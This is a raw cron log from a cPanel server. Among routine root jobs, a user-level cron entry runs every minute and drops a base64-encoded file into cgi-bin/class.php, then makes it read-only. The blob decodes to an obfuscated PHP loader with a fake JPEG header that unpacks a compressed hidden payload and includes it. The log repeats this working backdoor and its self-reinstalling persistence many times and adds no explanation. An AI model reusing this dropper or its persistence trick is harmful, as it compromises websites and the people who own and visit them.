Nov 14 05:53:01 server CROND[22744]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:54:01 server CROND[23591]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:55:01 server CROND[24459]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 05:55:01 server CROND[24460]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 05:55:01 server CROND[24461]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:56:01 server CROND[25367]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:57:01 server CROND[26242]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:57:01 server CROND[26243]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 05:58:01 server CROND[27097]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:59:01 server CROND[27664]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:00:01 server CROND[28541]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 14 06:00:01 server CROND[28543]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 06:00:01 server CROND[28544]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 06:00:01 server CROND[28552]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 06:00:01 server CROND[28553]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:00:01 server CROND[28551]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb &gt; /dev/null 2&gt;&amp;1)
Nov 14 06:01:02 server CROND[29503]: (root) CMD (run-parts /etc/cron.hourly)
Nov 14 06:01:02 server CROND[29504]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:01:02 server run-parts(/etc/cron.hourly)[29503]: starting 0anacron
Nov 14 06:01:02 server run-parts(/etc/cron.hourly)[29517]: finished 0anacron
Nov 14 06:02:01 server CROND[30205]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:03:01 server CROND[30656]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:04:01 server CROND[31677]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:05:01 server CROND[32554]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 06:05:01 server CROND[32556]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 06:05:01 server CROND[32557]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 06:05:01 server CROND[32555]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
